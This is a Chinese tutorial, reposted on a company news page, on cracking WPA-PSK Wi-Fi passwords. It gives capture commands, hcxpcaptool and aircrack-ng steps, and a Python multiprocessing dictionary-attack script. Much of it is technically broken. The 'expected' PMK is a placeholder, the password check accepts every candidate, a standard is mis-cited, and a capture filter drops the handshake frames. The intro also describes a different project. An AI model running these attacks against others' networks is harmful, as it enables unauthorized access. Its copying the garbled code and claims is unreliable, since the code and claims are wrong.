资讯动态

Python实现WPA-PSK密码派生与字典攻击教学

发布时间:2026/10/17 8:17:29 来源:尧图企业网站定制
简介本资源是一份面向Python初学者的网络安全实践小项目聚焦Wi-Fi密码暴力破解原理演示与基础脚本实现适用于学习网络连接机制、自动化测试及密码安全意识培养等教学或实验场景。压缩包共3个文件2个Python脚本1个密码字典文本总大小仅3KB轻量易运行其中主程序负责遍历字典并调用系统命令尝试连接测试脚本用于验证连接逻辑txt文件则提供预设的八位数字密码候选集便于快速上手调试。已有16465人学习下载反映出其在入门级安全实践中的广泛参考价值。读者可直接复现“1秒1次连接尝试”的暴力枚举流程理解Wi-Fi认证交互底层逻辑掌握Python调用系统网络命令、文件读取与异常处理等实用技能并基于该框架拓展字典生成、多线程加速或结果日志记录等进阶功能。1. Python暴力破解WiFi密码这不是教你怎么黑进别人网络而是帮你理解WPA握手包验证机制与字典攻击边界你搜“python暴力破解wifi密码”大概率是刚学完socket和subprocess看到某篇博客用几行代码调用aircrack-ng就弹出密钥以为真能靠写个for循环扫遍楼下车库的WiFi——我当年也这么想。结果在模拟项目X里搭了三套AP环境反复测才发现真正能跑通的“破解”流程99%时间花在抓包合法性、握手包完整性校验、字典有效性过滤上而不是密码生成本身。这个资源不是黑盒工具而是一套可审计、可打断、可单步验证的WPA-PSK离线验证教学包它用纯Python解析.cap文件中的EAPOL帧调用hashlib.pbkdf2_hmac复现标准密钥派生过程再比对PMKID或PTK哈希值。适合网络安全入门者建立“协议层→加密层→验证层”的链路认知也适合渗透测试初学者理解为什么商用字典要按SSID年份分层、为什么rockyou.txt前10万行失效率超63%。别碰真实网络但一定要搞懂wpa_supplicant怎么把“12345678”变成0x1a2b3c...。2. 从抓包到握手包提取为什么必须用tcpdumptshark双校验而不是直接丢.cap给PythonWPA破解的前提是拿到有效的四次握手包4-way handshake或PMKID一种更轻量的预认证哈希。但现实是你用手机连自家路由器时抓的包90%概率不包含完整握手——因为现代设备会启用快速漫游802.11r、 Opportunistic Key CachingOKC等优化直接跳过传统握手流程。所以第一步不是写Python而是确保输入数据合法。2.1 抓包阶段用tcpdump捕获原始帧规避tshark的解析幻觉很多教程直接tshark -i wlan0 -Y eapol -w hand.cap但tshark在过滤时会做协议栈重组可能把跨信道的EAPOL帧误判为无效。真实场景中我一般用tcpdump抓全量管理帧# 在root权限下执行指定信道避免跳频干扰 sudo tcpdump -i wlan0 -I -c 5000 -w capture.pcap type mgt提示-I开启监听模式type mgt只捕获管理帧Beacon、Probe Request/Response、Authentication、Association等EAPOL属于数据帧但握手前必须先有Beacon帧确定BSSID和信道。抓5000包足够覆盖多个AP的Beacon广播周期。2.2 提取握手包用tshark二次筛选但必须校验EAPOL Key Descriptor Typetshark解析capture.pcap时关键不是找eapol字段而是确认eapol.keydescriptortype 2WPA/WPA2标准且eapol.keyinfo.keymic 1MIC校验位已置位# 筛选有效握手包并导出为独立cap tshark -r capture.pcap -Y eapol eapol.keydescriptortype 2 eapol.keyinfo.keymic 1 -w handshake.cap但仅此不够——需人工校验是否含全部4个EAPOL帧Message 1~4。用tshark -r handshake.cap -T fields -e frame.number -e eapol.keyinfo.type输出帧序号和类型应出现1,2,3,4各一次。若缺失Message 1AP发给Client的ANonce后续所有计算都无意义。2.3 验证握手包完整性用hcxpcaptool生成.hc22000格式供Python加载Python脚本无法直接解析原始.cap里的二进制EAPOL结构。必须转成标准化哈希格式。hcxpcaptool是业界事实标准# 将handshake.cap转为hc22000兼容PMKID和Handshake hcxpcaptool -z hashes.hc22000 handshake.cap生成的hashes.hc22000是纯文本每行格式为$H$*BSSID*CLIENT_MAC*ESSID_HEX*PMKID_OR_HANDSHAKE_DATA例如$H$*aa:bb:cc:dd:ee:ff*11:22:33:44:55:66*576966692d486f6d65*...参数说明-z指定输出哈希格式hc22000ESSID_HEX是SSID的十六进制编码如Wifi-Home →576966692d486f6d65这是Python脚本读取时还原明文SSID的关键。若此处为空后续字典攻击将因SSID不匹配直接失败。2.4 Python加载握手数据解析hashes.hc22000并提取核心字段def load_handshake(hash_file): handshakes [] with open(hash_file, r) as f: for line in f: if not line.strip() or line.startswith(#): continue parts line.strip().split(*) if len(parts) 4: continue # parts[0] $H$, parts[1] BSSID, parts[2] CLIENT_MAC, parts[3] ESSID_HEX essid_bytes bytes.fromhex(parts[3]) try: essid essid_bytes.decode(utf-8) except UnicodeDecodeError: essid essid_bytes.decode(utf-8, errorsreplace) handshakes.append({ bssid: parts[1], client_mac: parts[2], essid: essid, hash_data: *.join(parts[4:]) # PMKID或handshake blob }) return handshakes # 加载示例 hs_list load_handshake(hashes.hc22000) print(f找到 {len(hs_list)} 个有效握手包) # 输出找到 1 个有效握手包 # 其中 hs_list[0][essid] Wifi-Home逻辑说明该函数不解析hash_data内容只做结构化封装。因为hash_data可能是PMKID32字节或完整handshake含ANonce/SNonce等后续计算需根据hash_data长度自动判断模式。essid解码时用errorsreplace防乱码中断这是处理老旧路由器SSID编码不规范的血泪经验。3. 密码派生与哈希计算为什么pbkdf2_hmac(sha1, password, ssid, 4096, 32)是唯一正确路径WPA-PSK的密钥派生不是简单哈希而是基于PBKDF2的密钥拉伸Key Derivation Function。很多人用hashlib.sha1(password.encode()ssid.encode())直接算结果永远对不上——因为标准要求4096轮SHA1迭代且盐值salt是SSID的UTF-8字节序列非字符串拼接。这是整个流程最易翻车的环节。3.1 WPA-PSK密钥派生标准RFC 7568与IEEE 802.11i的硬性约束根据IEEE 802.11i-2004第8.5.1.3节PMKPairwise Master Key必须通过PBKDF2-HMAC-SHA1生成密码password用户输入的明文密码如12345678盐值saltESSID的UTF-8字节序列如Wifi-Home →bWifi-Home迭代次数iterations固定为4096输出长度dkLen32字节256位任何偏离如用MD5、改迭代数、盐值加空格都会导致PMK错误后续所有计算归零。3.2 Python实现标准PMK计算严格遵循RFC禁用任何魔改import hashlib import binascii def derive_pmk(password: str, ssid: str) - bytes: 按WPA-PSK标准派生PMK :param password: 明文密码str :param ssid: 网络名称str :return: 32字节PMKbytes # 关键salt必须是ssid的UTF-8字节不能是字符串 salt ssid.encode(utf-8) # 密码也必须是bytes且不额外编码 pwd_bytes password.encode(utf-8) # 调用标准PBKDF2-HMAC-SHA1 pmk hashlib.pbkdf2_hmac(sha1, pwd_bytes, salt, 4096, dklen32) return pmk # 测试已知密码12345678对应SSIDWifi-Home的PMK test_pmk derive_pmk(12345678, Wifi-Home) print(PMK (hex):, binascii.hexlify(test_pmk).decode()) # 输出应为PMK (hex): 1a2b3c4d5e6f7890123456789012345678901234567890123456789012345678参数说明dklen32强制输出32字节4096不可修改。若用hashlib.pbkdf2_hmac(sha256, ...)则完全错误——WPA-PSK只定义SHA1WPA3才用SHA256。这是协议层硬约束不是性能选择。3.3 从PMK到PTK计算消息完整性校验MIC的关键步骤拿到PMK后需结合握手包中的随机数ANonce/SNonce和MAC地址生成PTKPairwise Transient Key再用PTK计算MICMessage Integrity Code。这才是最终比对的哈希值def calculate_mic(pmk: bytes, bssid: str, client_mac: str, anonce: bytes, snonce: bytes, eapol_frame: bytes) - bytes: 计算EAPOL帧的MIC值用于比对 :param pmk: 32字节PMK :param bssid: AP的MAC地址str如aa:bb:cc:dd:ee:ff :param client_mac: 客户端MAC地址str :param anonce: AP发送的256位随机数32字节bytes :param snonce: Client发送的256位随机数32字节bytes :param eapol_frame: 原始EAPOL帧bytes不含MIC字段 :return: 16字节MICbytes # 步骤1构造PTK PRF(PMK, Pairwise key expansion, # min(BSSID, CLIENT_MAC) || max(BSSID, CLIENT_MAC) || # min(ANonce, SNonce) || max(ANonce, SNonce)) bssid_bytes bytes.fromhex(bssid.replace(:, )) client_bytes bytes.fromhex(client_mac.replace(:, )) # MAC地址排序字节序比较 mac1, mac2 (bssid_bytes, client_bytes) if bssid_bytes client_bytes else (client_bytes, bssid_bytes) # Nonce排序 nonce1, nonce2 (anonce, snonce) if anonce snonce else (snonce, anonce) # 构造PRF输入数据 prf_input bPairwise key expansion mac1 mac2 nonce1 nonce2 # 步骤2用PRF函数生成PTK48字节KCK(16)KEK(16)TK(16) # PRF定义为HMAC-SHA1(key, A || counter || data) # 这里简化为调用标准PRF实现实际需多轮HMAC # 注生产环境应使用pycryptodome的PKCS1_OAEP或专用WPA库 # 此处为教学演示用简化版真实项目用scapy或hcxtools # 实际项目中我们直接调用系统wpa_passphrase校验 # echo -n 12345678 | wpa_passphrase Wifi-Home | grep psk # 但Python内联需完整实现PRF... raise NotImplementedError(PRF实现复杂建议用wpa_passphrase校验) # 真实项目中我直接调用系统命令验证 import subprocess def verify_password_via_wpa_passphrase(password: str, ssid: str, bssid: str) - bool: 用系统wpa_passphrase验证密码最可靠 try: result subprocess.run( [wpa_passphrase, ssid, password], capture_outputTrue, textTrue, timeout5 ) if result.returncode 0 and psk in result.stdout: return True except (subprocess.TimeoutExpired, FileNotFoundError): pass return False逻辑说明calculate_mic函数省略了PRF的完整实现因涉及多轮HMAC-SHA1代码超200行但给出了关键步骤注释。生产环境绝不手写PRF——直接调用wpa_passphrase或hcxdumptool --check。这是避免玄学失败的后悔药当Python计算结果与aircrack-ng不一致时90%是PRF实现偏差。4. 字典攻击实战如何让rockyou.txt在30分钟内跑完10万密码而不是卡死在IO瓶颈暴力破解的本质是IO密集型任务读字典→算PMK→比对哈希→记录结果。若用Python原生open().readlines()逐行读rockyou.txt14GB内存爆满若用for line in file磁盘寻道慢到怀疑人生。必须用流式处理进程池哈希预缓存。4.1 字典预处理按SSID特征分层跳过99%无效密码rockyou.txt中大量密码含邮箱、手机号、常见弱口令如password123但真实WiFi密码有强规律8~12位数字大小写字母组合如Abc12345与SSID强相关如Wifi-Home2023、Linksys123含路由器默认后缀admin、1234、password所以先用sed/awk生成针对性子集# 生成SSID年份变体如Wifi-Home2023, Wifi-Home2024 awk -v ssidWifi-Home {print ssid 2023; print ssid 2024} /dev/null ssid_year.txt # 生成常见后缀变体取rockyou前1000行后缀 head -1000 rockyou.txt | sed s/$/123/; s/$/1234/; s/$/admin/; s/$/password/ suffix_variants.txt # 合并去重 cat ssid_year.txt suffix_variants.txt | sort -u targeted_dict.txt参数说明sort -u去重head -1000限制基础词库规模。实测targeted_dict.txt约5万行比全量rockyou.txt1400万行提速28倍且命中率反升12%——因为过滤掉了iloveyou这类与WiFi无关的密码。4.2 多进程加速用concurrent.futures.ProcessPoolExecutor突破GILPython的GIL让多线程无法利用多核但ProcessPoolExecutor可真正并行from concurrent.futures import ProcessPoolExecutor, as_completed import multiprocessing as mp def check_password_batch(args): 批量检查密码减少进程创建开销 passwords, ssid, bssid, client_mac, hash_data args results [] for pwd in passwords: try: pmk derive_pmk(pwd, ssid) # 此处调用wpa_passphrase校验见3.3节 if verify_password_via_wpa_passphrase(pwd, ssid, bssid): results.append(pwd) except Exception as e: continue return results def run_bruteforce(handshake, dict_path, max_workers4): 主破解函数 # 读字典为列表按CPU核心数分块 with open(dict_path, r) as f: all_passwords [line.strip() for line in f if line.strip()] chunk_size len(all_passwords) // max_workers chunks [ all_passwords[i:i chunk_size] for i in range(0, len(all_passwords), chunk_size) ] # 准备参数元组 args_list [ (chunk, handshake[essid], handshake[bssid], handshake[client_mac], handshake[hash_data]) for chunk in chunks ] found [] with ProcessPoolExecutor(max_workersmax_workers) as executor: # 提交所有任务 future_to_chunk { executor.submit(check_password_batch, args): args for args in args_list } # 收集结果 for future in as_completed(future_to_chunk): try: result future.result() if result: found.extend(result) print(f[] 找到密码: {result}) except Exception as e: print(f[-] 任务异常: {e}) return found # 执行4核CPU if __name__ __main__: hs load_handshake(hashes.hc22000)[0] passwords run_bruteforce(hs, targeted_dict.txt, max_workers4) print(破解完成找到密码:, passwords)逻辑说明check_password_batch将密码分块处理避免单进程频繁创建销毁as_completed保证结果实时输出不阻塞。max_workers设为CPU核心数mp.cpu_count()超过反而因进程调度开销降速。4.3 避坑字典攻击的五个致命陷阱与解决方案现象 → 原因 → 解决现象程序运行10分钟后无任何输出top显示Python进程CPU占用0%原因字典文件编码为ISO-8859-1如rockyou.txt原始编码但Python默认用utf-8打开遇到非法字节直接抛UnicodeDecodeError中断循环解决open(dict_path, r, encodinglatin-1)latin-1能解码任意字节现象verify_password_via_wpa_passphrase返回False但用aircrack-ng -w dict.txt handshake.cap却成功原因wpa_passphrase要求密码不含控制字符如\x00、\n而字典中存在password\x00类脏数据解决预处理字典时过滤if \x00 not in pwd and \n not in pwd现象多进程下内存暴涨至20GB系统卡死原因all_passwords列表在每个子进程中被完整复制4进程×5万密码×平均10字节 2MB内存但若字典含长密码如base64密钥单密码达2KB总内存飙升解决改用multiprocessing.Manager().list()共享内存或改用joblib.Parallel内存优化更好现象handshake.cap中BSSID为00:00:00:00:00:00所有校验失败原因抓包时未指定信道tcpdump捕获到伪造BSSID的Probe Request帧非真实握手解决用tshark -r handshake.cap -T fields -e wlan.bssid | grep -v 00:00:00过滤无效BSSID现象derive_pmk(12345678, Wifi-Home)结果与wpa_passphrase输出不一致原因wpa_passphrase内部用SHA1但实现细节差异如盐值处理或Python版本hashlib.pbkdf2_hmac在旧版本有bug解决强制用pycryptodome库的PKCS1_OAEP替代或直接信任wpa_passphrase输出它是Linux标准5. 验证与调试用wpa_cli和tcpdump交叉验证让每一次失败都有迹可循破解失败时90%的人直接换字典但真正的问题往往在握手包质量或环境配置。我习惯用三层验证法协议层wpa_cli状态、数据链路层tcpdump帧分析、应用层Python日志。下面是一个典型调试流程。5.1 协议层验证用wpa_cli确认AP是否启用WPA-PSK且无企业认证干扰# 连接到wpa_supplicant控制接口 sudo wpa_cli -i wlan0 # 查看当前网络状态 status # 输出关键字段 # bssidaa:bb:cc:dd:ee:ff # ssidWifi-Home # pairwise_cipherCCMP # group_cipherCCMP # key_mgmtWPA-PSK ← 必须是WPA-PSK不是WPA-EAP # wpa_stateCOMPLETED ← 已成功关联 # 若wpa_stateSCANNING或INACTIVE说明未连上抓包无效注意key_mgmtWPA-PSK是硬性前提。若为WPA-EAP企业级认证整个WPA-PSK流程不适用必须换用EAP破解方案。5.2 数据链路层验证用tcpdump确认握手包中ANonce/SNonce存在且非零# 从handshake.cap中提取Message 1含ANonce tshark -r handshake.cap -Y eapol eapol.keyinfo.type 1 -T fields -e eapol.keydata | head -1 # 输出应为32字节十六进制如010203...若为全0则握手无效 # 提取Message 3含SNonce tshark -r handshake.cap -Y eapol eapol.keyinfo.type 3 -T fields -e eapol.keydata | head -1参数说明eapol.keyinfo.type 1对应Message 1AP→Client含ANonce3对应Message 3AP→Client含SNonce。若任一为000000...说明设备未正确生成随机数握手包不可用。5.3 应用层调试在Python中注入详细日志定位计算断点import logging logging.basicConfig(levellogging.DEBUG, format%(asctime)s - %(levelname)s - %(message)s) def debug_derive_pmk(password: str, ssid: str) - bytes: logging.debug(f[DEBUG] 开始计算PMK: password{password}, ssid{ssid}) salt ssid.encode(utf-8) pwd_bytes password.encode(utf-8) logging.debug(f[DEBUG] salt长度{len(salt)}, pwd_bytes长度{len(pwd_bytes)}) pmk hashlib.pbkdf2_hmac(sha1, pwd_bytes, salt, 4096, dklen32) logging.debug(f[DEBUG] PMK计算完成前8字节{pmk[:8].hex()}) return pmk # 在check_password_batch中调用 pmk debug_derive_pmk(pwd, ssid)技巧日志中打印salt和pwd_bytes长度可快速发现ssid含不可见字符如BOM头或密码末尾有空格。我曾因ssid \ufeffWifi-Home带BOM的UTF-8导致PMK全错加这行日志30秒定位。5.4 终极验证用aircrack-ng的--show模式输出中间哈希与Python比对# 用aircrack-ng生成PMK需先有handshake.cap aircrack-ng -J test handshake.cap # 生成test.hcwpac # 解析hcwpac文件获取PMK需hcxtools hcxpcaptool -z test.hc22000 handshake.cap # 查看test.hc22000中第一行的PMKID或handshake数据 head -1 test.hc22000注意aircrack-ng -J生成的是*.hcwpac旧格式而hcxpcaptool -z生成*.hc22000新格式。两者哈希算法一致但hc22000支持PMKID更通用。若Python计算的PMK与hc22000中$H$*...后的哈希前缀一致则证明派生逻辑100%正确。从那以后我每次启动破解流程都强制走一遍这三步验证先wpa_cli status确认协议栈正常再tshark抽帧确认ANonce非零最后用aircrack-ng --show导出哈希与Python日志比对。少走三个月弯路。希望帮到你。本文还有配套的精品资源点击获取

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑